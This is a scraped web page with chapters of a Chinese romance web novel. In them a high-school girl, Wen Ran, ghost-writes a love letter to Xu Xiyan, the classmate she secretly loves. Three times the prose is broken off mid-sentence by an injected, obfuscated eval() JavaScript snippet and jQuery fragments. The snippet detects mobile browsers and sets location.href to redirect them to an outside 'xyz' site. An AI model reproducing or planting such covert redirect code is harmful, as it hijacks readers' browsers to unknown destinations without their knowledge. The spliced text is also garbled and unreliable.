剩下闻染一个人坐在原处,十七岁的时候连风也优柔,轻轻拂动着她的额发。
不一会儿陶曼思回来了:“唉好惨,今年也没逃过写广播稿的命运。”
闻染弯唇。
“对了你知道么?许汐言不参加运动会了。”她这么说,倒并非还觉得闻染和许汐言有什么关联,开学一个多月以后,闻染和许汐言的名字,已不会在任何人口中被同时提及了。
只不过许汐言是校园里的风云人物。
闻染心里咯噔一下。
她不好开口问,倒是前排两个女生听到许汐言的名字回过头来:“啊为什么?”
“说是去外地参加比赛了。”
“去哪里了?很远么?赶不回来么?”谁都想看到许汐言,往赛道一站便似美丽的风景线。
“不知道。”陶曼思摇摇头:“她们班同学也不清楚,只说应该不参加运动会了。”
难怪昨天做课间操下楼时没有看到她。
但许汐言这恣意自由的性子,逃过课间操的时候也不在少数,所以闻染没想到她去了外地。
穿了彩色横条袜的脚趾在白色匡威里蜷起来,像什么被打捞上岸失却了氧气的尴尬贝类。
那么。
闻染望着灰白的天想,今天看不到她了。
她遇到许汐言的时间太晚,于是很多事变成了一期一会的绝唱。比如运动会,比如接下来的圣诞节,跨年,学期末的晚会。
错过了,便是此生都再无机会了。
这么想想,好像有点悲壮。
“怎么了你?”陶曼思问。
“嗯?没有啊。”
“怎么突然一下子好像没电了。”
“哦,可能早上没吃饱。”
“所以我就问你要不要吃东西嘛……小浣熊干脆面真的很好吃。”
闻染笑着接过,看玫粉色的包装上映着五个字:「奇奇怪怪味」。
于是,运动会奇奇怪怪的失去了魔力。
一圈沉红色的塑胶跑道变得黯淡无光。站在起跑线做伸展的那男生头发翘得很搞笑。跳高总也跳不过的同学脸朝下摔在软垫上。
闻染望一眼灰扑扑的天,赌气的想:不如下雨算了,大家都不要过了。
中午是学校统一订的盒饭,整个运动场里开始蔓延起一股土豆烧鸡的味道。
到了两点,味道总算散干净了,天还是灰白的没起色。
接下来的一个项目,便是女生四百米栏。
跨栏这项目不似其他,身体素质好的同学都能来凑热闹。六条赛道上站的都是各班的体育生,唯独空下来的第三道,属于许汐言。
看台上开始有很多人问:“许汐言怎么没来啊?”
又有知情者告诉同伴:“她去外地参加比赛了啦。”
“哦这样。”语气里浓浓的失望。
闻染一整天恹耷耷的,陶曼思给她的一包干脆面在手里攥了一天也没吃。这会儿心里空落落的,就需要调味粉在身边乱舞一气,呛到其他同学也没关系吧。
心里还是那句:都别过了。
看台上忽然热闹起来,也不知是在给谁欢呼和加油。闻染埋着头,咔嚓咔嚓捏碎了整包面,又开始疯狂挥动右手,想让调味粉更均匀一点。
包装打开来,呛得两声咳。
自作自受么这不是……
她无意识的一抬眼,愣了。
方才还空荡荡的第三道上,出现了一个纤窈的身影。
许汐言手长脚长,个子高,却不是那种干瘪的身材,她穿紧身黑色运动上衣,勾勒出独属于女性的起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558248|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伏线条。
闻染不知怎么就低了一下头,快速瞥了眼自己胸前:嗯,还好我也不差。
什么乱七八糟的!
原来方才的欢呼不是为某个成绩出众的体育生,而是为许汐言突然出现。
她是很难得才赶回来的吗?
闻染望着赛道,觉得许汐言那头海藻般的卷发比平时微乱一些,还有她运动裤的裤脚,也没理得那么齐整,蔷薇般的面孔微微泛红,甚至让人觉得,她是一路跑来赛道才赶上了这场比赛。
对许汐言来说,的确是这样。
参加学校运动会什么的,本是她信手为之。她就是这样,感兴趣的事很多,盛大的天赋播撒到方方面面,让她做起任何事来好像都不会太差。
所以做手工蜡烛她也去,运动会她也去,反正对她来说,就是玩。
后来才发现跟外地一场比赛的时间冲撞,收到比赛时间通知的短信时,她刚好在食堂外遇到班主任,便没犹豫的上前说了这件事。
“这么遗憾,那你是不能参加运动会了?”
“嗯……”许汐言这么应着的时候正把卷发勾回自己耳后,随意的一抬眼,望见闻染和同学站在公告栏前,也不知看什么看得那么专注。
她觉得闻染的眼神从来都是这样,特别专注,显得你好像特别重要。
告别了班主任,她好奇走到公告栏前,去看公告栏里到底有什么这么好瞧。
一愣。
原来是运动会的参赛名单公布出来了,而闻染方才视线所落的地方,若按一条射线对标过去的话——
四百米栏:高三五班,许汐言。
也有可能是弄错了。
许汐言参加运动会本来是为了玩,但,闻染的眼神莫名让她觉得,会不会有人其实很期待她的比赛?
一个非体育生,去向四百米栏发起冲击。
她突然叫了声:“林老师。”追上已经走开的班主任。
“怎么?”
“如果我来得及赶回来的话,还是会参加运动会的。”
班主任挥挥手:“知道你比赛重要,别勉强啦。”
班主任本来当她说说而已,没想到,还真的赶回来了。明显一路跑过来的,面颊微微泛红,却仍有种从容情态,笑起来的时候睫毛塌着,有一番漫不经心的好看。
她刚刚别完号码牌就走上了赛道,甚至是直到这时,才从运动裤口袋里掏出橡皮筋,来绑一直披散在肩头的长发。
略略往看台上望了一眼,很多人在看她,还有好些人在拿手机拍她绑头发的样子,她没什么所谓。
把她拍得美,或丑,其实她不怎么在意。
她本不该注意到闻染的,只是人人都兴奋的面向着赛道,唯独一人低着头,那乌黑的马尾和雪白的发旋就显得格外醒目。
亏她那天还觉得闻染是不是看到了她的名字,现在看来,一定是错觉。
因为闻染很用力的在摇一包……干脆面?
其实许汐言对国内的这些零食不算太了解。
这时发令老师让她们到起跑线就位,闻染抬起头来,晃着干脆面的手臂还因惯性而上下上下着。
越来越慢。
直到瞧见许汐言,一愣。
许汐言勾唇笑了下,心想这人怎么这么呆。
无论闻染是不是在看她都好,只要有人期待她的表演——很多年后许汐言登上举世瞩目的舞台,心里想的也是这句:只要有人期待她的表演。
她抬手把马尾拉向两边,紧了紧皮筋,放下手原地跳了两下热身,又用力拍了拍自己的大腿。
她俯身于起跑线的姿势很坚定,抬头,望向前方的终点线。
那么来吧。
就让你看看,我的表演。
19.秘密
说实话,许汐言这么一番操作下来让闻染有点担心。
因为如果成绩不好的话,她这么又蹦跶又拍大腿的,眼神还特坚毅,就有点装叉的嫌疑,就好像那种,“差生文具多”。
闻染紧紧盯着起跑线。
这就是她期待运动会的原因——人人都在看许汐言,那么她的偷看,是否能变得光明正大一点。
人人都从自己的班级阵营里倒戈:“啊啊啊许汐言加油!”
“你哪个班的啊?”
“管他哪个班!我就是想让许汐言赢啊!”
闻染紧张的咽了咽喉咙。
不知许汐言怎么想,如果有这么多人关注她、对她寄予厚望的话,她得紧张死。
可俯身于起跑线的许汐言看起来很淡定,甚至当看台上有人大喊“啊啊啊许汐言我喜欢你”的时候,她还勾唇淡笑了下。
喊喊而已,有不少人敢追白姝,可没有人敢追许汐言。
直到发令老师喊出那声:“预备——”
一声枪响,许汐言不像离弦的箭,她像……立于海浪之上。
闻染紧紧盯着她的身影,她饱满的胸,直角的肩,修长的腿,这时已什么想法都没有了,一个十七岁少女在奋力舞动双臂,卷曲的长发在她脑后自由挥洒。
那就是一种纯粹的、震撼人心的、一生只此一次的,美。
其实那时闻染心里就有种预感:许汐言会赢。
她有些傻气的手里还拎着那包干脆面,忘了吃也忘了放下,就那样举着,在一阵奇奇怪怪的酸甜调味粉味道中注视着跑道第三道。
看她轻盈的抬起左腿。
看她敏捷的豹一般稳稳落于地面。
看她在冲过终点线时头奋力的向前。
似有魔法一般。
在她冲过终点的一刹,阴沉了整日的云忽然破开一道小口,浅白金的阳光从里面射出来,恰恰落在回身来看其他对手的许汐言身上。
闻染呆在看台上。
十七岁的少女像光本身,叉腰站着微微喘气,笑得不张扬,却足够恣意。
恣意的足以填满她往前数多年贫瘠的青春。
******
等到比赛结束,陶曼思还没回看台。
还不能离开,因为要算项目成绩,评出最佳班集体,还有当作安慰奖发出的“最具风格班集体”、“最具风尚班集体”、“最团结一致班集体”。
大多数人趁这时去体育场的小卖部溜达,三三两两散落在各处聊天。
闻染一个人坐在看台上,身边同学已变得稀稀落落。
她起先选这位置,就因为正对着四百米栏的赛道。
此时耳畔回荡的,是起跑前不知哪个胆大男生喊出的:“啊啊啊许汐言我喜欢你!”
周围一阵哄笑。
是该笑的吧,所以全校根本没人敢追许汐言。就连单项箭头的喜欢,也因对象过于的遥不可及,而会收获周围人的嘲弄。
闻染把五线谱本掏出来,往后翻,随便挑了空白的一页。
又拿出一支铅笔,握住,指尖在黑白格子上摩了下。
她从来不会说她“喜欢”许汐言。
好像“喜欢”这两个字一旦具象了,就会显得她太过高攀。
她只会说……
不知怎的,笔尖已开始在纸页上沙沙沙的动了起来。
她只会说,每天做课间操的时候在楼梯上能望见那背影的话,做跳跃运动的身姿会更轻盈一点。
课间强拖着陶曼思去上今天第五趟厕所时能望见那侧影的话,接下来的数学课会没那么难熬一点。
她们班上体育课而五班下体育课、甚至有机会在操场边擦肩而过的话,连老师点名时的应答都会再雀跃一点。
一点,一点,再一点加起来,是填满我整个青春电视节目的屏幕噪点。
滋滋作响的无规律噪音,用以遮掩我汹涌蓬勃的心跳。
我就是这样连“喜欢”两个字都不敢为自己定义的、喜欢着你。
这时突然有人叫:“闻染!”
闻染吓了一大跳,搁在膝头的五线谱本掉落在地,慌得俯身去捡时,却已被手脚更快的男生捡到手里。
“还给我!”
来的正是邹宇恒,埋头去看五线谱间写的不是音符,而是少女清秀的字迹。
一字一句无声的,奏响青春时期的小步舞曲。
闻染抿了一下唇,说不上怎的没有阻止邹宇恒继续看下去。
或许她在想:有人看也好吧。
邹宇恒一定当她这是替自己写情书所打的草稿。顶着这样的借口,世界上终会有一人,阅读过她对许汐言的这份心意。
秘密正是因为被什么人知道,才有了作为秘密存在的意义。
邹宇恒看完之后愣了半晌。
闻染小声问:“很糟么?”
她喜欢许汐言的这份心情,很糟么?
邹宇恒摇摇头:“你也写得太好了吧……我都被震了。喂闻染,你喜欢谁啊?”
闻染一怔。
“肯定是很喜欢很喜欢什么人,才能写出这样的情书吧。”
“没有。”闻染缓缓的摇头:“没有喜欢什么人。”
“那你这是,”男生挠了一下头:“文曲星下凡啊!一个字都不用改,你就这么给我好了。”
“等一下!”她写这个可不是为了给邹宇恒拿去追女生。
“拜托了闻染,我的心情也是这样啊,就像你信里写的这样。”
“除非你告诉我,你喜欢的到底是谁。”邹宇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14567171|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恒一定不肯说,这样就可以阻止他了。
没想到邹宇恒咬咬牙,在一阵同学的喧闹声中压出最低音量:“许汐言。”
闻染不知怎的,本来站起来想抢邹宇恒手里五线谱本的,这时又慢吞吞的坐下了。
怎么形容这一刻的心情呢。
怨责邹宇恒的莽撞。又羡慕邹宇恒的勇敢。
“她肯定会拒绝你的。”笃定的语气。
本以为邹宇恒会问“为什么”,可向来粗线条的男生笑得有一些难过:“可是怎么办呢,我喜欢的就是许汐言啊。”
闻染也在心里问自己:怎么办呢?
“明知道她会拒绝你,你还给她写情书。”
“那我的这份心情,总得让她知道吧。”
怨责消失。变成单纯的羡慕。
闻染说:“好吧。”
邹宇恒反而愣了:“你同意了啊?”
“同意了。”闻染点头:“邹宇恒。”
“嗯?”
“你可不可以,用好看一点的信纸?还有你的字,不好意思说实话的话,有点丑,你可不可以写的用心一点?”
男生郑重点头:“我会。”
“好。”闻染坐在原处:“那你拿去吧。”
心脏怦怦怦跳着,不是没有私心,因为许汐言终将以这样一种方式看到她的心意。
也没有太多私心,把这样一封信交出去,是犒赏邹宇恒明知会赌输的勇敢。
邹宇恒,比她勇敢。
******
又过了一会儿,陶曼思回来了:“累死了。”
“辛苦了。”
“诶你看到许汐言回来比赛了么?”
闻染做出漫不经心的语气:“看到了。”
“她一个人单挑六个体育生哎。”膜拜的语气:“居然是冠军!”
“……嗯。”
有点拿捏不好自己的语气,暗恋这样一个天才,是该为她盛大的天赋与有荣焉,还是哀叹她和自己的距离越来越远。
运动会结束,重回正常的校园秩序。
闻染每每看到邹宇恒时欲言又止,却又不好过分关切邹宇恒什么时候把情书拿给许汐言。
直到一周后的课间,她又拖着陶曼思去上厕所。
“染染你这样频繁上厕所真的不正常你知道吗?你让你妈带你去医院检查没有?你的肾……”
“不是啦!”
路过五班教室,先是习惯性用眼尾瞟教室里面,许汐言的座位空着,再往前看,才看到邹宇恒和许汐言站在教室后门口。
许汐言看上去有心不在焉,背着手,有线耳机挂在校服领口,往闻染这边瞟了一眼。
闻染的心跳轰一声撞在胸腔上,震下了多年贫瘠年岁所积攒的漫漫的灰。
20.情书
陶曼思也看到许汐言和邹宇恒了,奇怪道:“邹宇恒来找许汐言做什么?怎么他跟许汐言很熟么?”
“不知道。”对不起了闺蜜,我对你撒了这么多的谎。
她俩继续向前走,于是并没有看到邹宇恒把信交给许汐言的瞬间。
陶曼思问闻染:“最后你帮他写情书了没有?”
“没有啦。”交代了邹宇恒要保密。
洗手的时候陶曼思一甩手上的水:“天哪!”
“怎么?”
“你说邹宇恒喜欢的人,不会是许汐言吧?他找许汐言不会是要表白吧?”
“……不知道。”
“天哪天哪,”陶曼思还在感慨:“如果真的喜欢许汐言,那邹宇恒的胆子也太大了吧!你说还有人敢像他胆子这么大的吗?”
闻染在旁边默默的说:有啊。
我。
两人从厕所走回教室的时候,许汐言和邹宇恒已经不在五班教室后门了。
注意到这一点的显然并非只有她们两人,回到教室,有人问邹宇恒:“你找许汐言干嘛?”
“关你屁事。”
“不会是想追人家吧?”
“都说了关你屁事。”
估计其他人也没想到真会有人敢去找许汐言告白,上课铃一打响,这件事嘻嘻哈哈的就过去了。
闻染没想到,邹宇恒会认认真真的来跟她交代这件事。
又一个课间,他把闻染叫到走廊:“谢谢你帮我写的信。我觉得还是应该告诉你一声,她拒绝我了。”
闻染不知该说什么:“别难过。”
邹宇恒笑笑:“不难过啊,早就预知结果的事嘛。但很搞笑你知道么,刚才我把信给她的时候,她愣了下,看了两行,你知道她问我什么?”
“什么?”
“她问我,你不是跟闻染在一起么?那语气简直像教导主任你知道么,不是教我不要早恋,是教我不要移情别恋,她可真是对我一点意思也没有。”
“你否认了吧?”闻染的心扑扑直跳。
“当然否认了啊。”邹宇恒观察闻染的神色,有一点受伤:“喂,我也没有这么差吧……”
两人回了教室,令所有人没想到的是,又一个课间,许汐言居然主动来找了邹宇恒。
一教室的人假装各做各的事,其实不知多少双眼睛盯着窗外走廊,其中就包括假意看《知音漫客》的闻染。
陶曼思坐在闻染前排:“天哪,邹宇恒追许汐言这事不会有戏吧?那我可要相信宇宙里有外星人了。”
许汐言没说两句就走了,邹宇恒回到教室。
所有人都在问:“许汐言找你干嘛?”
他还是那句:“关你们屁事。”
不过他没让闻染猜太久,趁着上体育课的时候,他悄悄找到闻染:“许汐言找我是问,那封情书是谁写的。怎么这么不像我写的么?她很肯定的说,是个女生写的。”
闻染的心快要跃出嗓子眼:“你没说吧?!”
“我没说啊,我这不是先来问问你能不能说吗。”
“当然不能了!”
“可她好像真的很想知道哎,你们都是女生,给她知道没关系的吧。”
“不行!!”
闻染一贯温温吞吞,很少有这么坚决的时候,邹宇恒反而被她吓了一跳:“好嘛,不说就不说,你放心我不会卖队友的。”
晚自习前,闻染一个人往琴房方向走去。
因为没有坚定的要走艺术生路线,所以她也分出了大半的精力给文化课,在学校琴房是练一休一。
这天并非练琴的日子,她却被许汐言来问邹宇恒情书是谁所写的事搅得心烦意乱,想一个人去琴房旁的校史馆散散心。
校史馆是幢三层小楼,仿古结构,楼体是钢筋水泥但座椅围栏是暗沉红木,不知是岁月斑驳还是做旧,星星点点掉了一块块漆。
这里平时都是锁上的,也没什么人来,但闻染在家里耳朵时时被柏女士塞满,所以偶尔不练琴的时候,她会到这里来躲清静。
今天刚走到楼下,却听三楼有声响,一抬头,却见许汐言凭栏而坐。
闻染一滞。
很难描述那种感觉。许汐言不是什么古典主义的长相,她敞着校服外套,露出里面的黑色T恤,V字领,嵌着胸前雪白的一片,带着一根十字架的项链,但她应该并非信仰,因为被她捏在手里很随意的把玩。
另只手臂倚在掉漆的围栏上,是水墨与油画冲撞在一起砰的一声,美得振聋发聩。
闻染下意识就想转身离开,可许汐言都已经看到她了,这样会不会太明显了一点。
少女在暮色中冲她笑了下,身后是层层叠叠的夕色云朵,映亮她蔷薇般的面孔。
“闻染。”
闻染不出声,望着她。
“你喜不喜欢邹宇恒?”
闻染的全身都在否认:“怎么可能!”
“那,”许汐言很散漫的把清丽下巴枕在自己的手背,纤细的小腿一晃一晃,望着楼下的闻染:“邹宇恒最近跟哪个女生走得比较近?”
“我怎么……”
“知道”两个字还未出口,许汐言又笑了笑:“跟你,对吧?”
“如果他不喜欢你、你也不喜欢他的话,”许汐言问:“那么那封情书,不会是你写的吧?”
闻染反而奇异的镇定了下来。
真的,人在紧张到极点的时候,并非小说里描述的心脏狂跳到喘不过气,反而心跳平稳下来,只是自己平静的声音像是隔了层玻璃罩,从很远的地方传来。
她听到自己问许汐言:“什么情书?”
“我收到了一封情书,邹宇恒抄在五线谱纸上的。我觉得那是一个女生写的,并且,说不定是个学钢琴的女生写的。”
因为本来就是写在五线谱纸上,所以邹宇恒有样学样。
闻染听见自己的心跳,扑通扑通好似撞在耳膜上。
她问许汐言:“你答应邹宇恒了么?”
感谢这三层楼的距离,如果是面对面,她肯定不敢跟许汐言说这么久的话。
许汐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582726|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言笑了下:“没有。”
“既然没有的话,也不用追究是谁替邹宇恒写的吧。”
“可是那封信写的很好啊。要是被什么人这样认真的喜欢过的话,那应该死而无憾吧。”
闻染说:“你的中文真的太差了。死而无憾这种成语,不是这么用的。”
许汐言下巴枕在手背上漫漫的笑:“是不是你?”
夕色的云朵卷过许汐言的面孔,这样的黄昏此生又能有几回。
闻染一直觉得自己是个胆小的人,怯懦的人,可她此时的确生出一股冲动,承认下来不过两个字:“是我。”
不需要你答应,或许你应该知道,让你误用了“死而无憾”这种成语的、写这封信的那个人,用这样认真的心情喜欢的人,就是你。
她的手背在身后,指甲用力抠着拇指指腹,脊骨的缝隙都微微往外冒着汗。
可许汐言笑望着她:“如果是你写的话,或许,我可以考虑答应哦。”
闻染愣了。
更远处接近校门口的地方,钟楼发出阵阵沉闷的响声震分了一楼的鸟,几只向这边飞来,掠过许汐言的头顶,翅膀的暗影拎着许汐言的睫毛一翕一翕。
那时候的许汐言太漂亮了,那句话说得也太轻巧了。
闻染忽然转身就跑。
那是她第一次逃晚自习。
背上书包在众人的瞩目中横冲直撞的跑出教室,连陶曼思在身后问“染染你怎么了”也没顾得上回答。
她没去找班主任开假条,平时男生们逃课从哪里翻出学校她是知道的,还和陶曼思一起去看过,议论说这里这么高,那些男生怎么敢的。
可她今天毫不犹豫的爬上墙头又跳了下去,向来体育不好的自己为什么会有这样的爆发力。
她背着书包往前跑,一直跑。
跑到市中心人潮最密集的地方,到麦当劳甜品站给自己买了一个两块五的圆筒,坐到路边的长椅一点点舔掉。
望着闪烁的霓虹,想着许汐言的那句话:
“如果是你写的话,或许,我可以考虑答应哦。”
到了晚自习下课时间,她背起书包回家。
柏惠珍问她:“你怎么了?”
“什么怎么了?”闻染把碎发扯下来一点,遮住被夜风吹红的耳尖。
“就是怪怪的呀,我还不知道你。”
“哪里有啦。”
因为吃过甜筒,吃夜宵的时候肚子涨涨的,回到自己房间写作业时,收到陶曼思的信息:【染染,你今晚怎么了?】
【没什么,就是身体忽然不太舒服。】
【现在怎么样了?】
【完全没事啦。】不想让好友担心。
【那就好!吓死我了!】
【今晚班里有什么八卦啊?】故作轻松。
【你知不知道陈凌远和姜蔓好像在一起了!哇完全没想到他们俩!】
闻染指尖旋转的笔掉到练习簿上,视线收拢、聚焦,落到「在一起」那三个字上。
许汐言和闻染,在一起。